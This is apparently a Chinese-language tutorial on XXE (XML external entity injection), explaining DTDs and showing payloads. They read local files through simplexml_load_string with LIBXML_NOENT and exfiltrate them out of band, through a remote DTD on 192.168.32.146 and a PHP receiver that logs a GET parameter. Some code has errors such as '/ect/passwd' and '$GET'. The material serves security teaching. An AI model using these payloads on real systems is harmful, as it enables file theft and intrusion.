XXE-实体注入
一、什么是XXE?
用户输入的数据被当做XML代码执行
XXE是XML实体注入,我们利用XML中DTD部分可以从外获取数据的特点,通过发起请求、操作协议的方法,对目标的内网进行探测。
二、XML是什么?
1、XML是一种可拓展的标记语言,很类似与HTML
2、XML用于传输数据
3、XML没有被预定义,所有的东西都需自己定义(任何标签都没有任何意义)
预定义:预先定义好的东西。
XML可以自己发明标签
4、XML仅仅是纯文本,他不会做任何事情
5、XML的定义:存储数据的东西(动态语言可以去XML存入数据、提取数据)
XML结构
XML声明:
<?xml version”1.0” encoding”utf-8”?>
DTD部分:
1.定义一个经常使用的内容为变量用于引用(本质是一个静态的东西)
2.XML本身只存储,所以需要后端代码来调用
3.定义的时候可以去外部读取数据然后定义实体
=>外部获取数据[发起请求,可以操作协议]
4.XML的代码中DTD部分可以去调用函数
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///ect/passwd" >]>
XML内容部分
<foo>&xxe;</foo>
三、重点函数
php中存在一个叫做simplexml_load_string
的函数用来处理XML,将XML中的东西转换成对象,通过控制该对象来任意执行XML。
<?php
$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';
$obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
print_r($obj);
?>
把test 存储的数据从c:/1.txt中提取
XXE漏洞利用具体操作
通常我们无法看见XML数据读取或存储的反应,所以需要我们想办法去外带数据。
由于DTD可以发起http请求,我们就利用自己搭建的站点来把数据带出来。
我们可以写一个简单的代码利用传参来外带数据,例如:
<?php
file_put_contents("1.txt",$GET["id"],FILE_APPEND);
?>
当有人访问你的网站
http://www.xxx.com/1.php?id=aaaaa
数据aaaaa就被写入1.txt的文件。
所以我们接下来我们要做的步骤是:
1、先获取我们要拿的数据
2、把拿到的数据拼接到http://www.xxx.com/1.php?id=
3、执行拼接好的url
为了实现这些,我们需要搭建一个炮台来发起攻击。以下是炮台代码。
<?php
$test = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.32.146/xxe/1.xml">
%remote;
%sent;
]>
EOF;
$obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
?>
XXE-扩展
<!ENTITY 实体名称 SYSTEM "URI/URL">
外部引用可支持http,file等协议。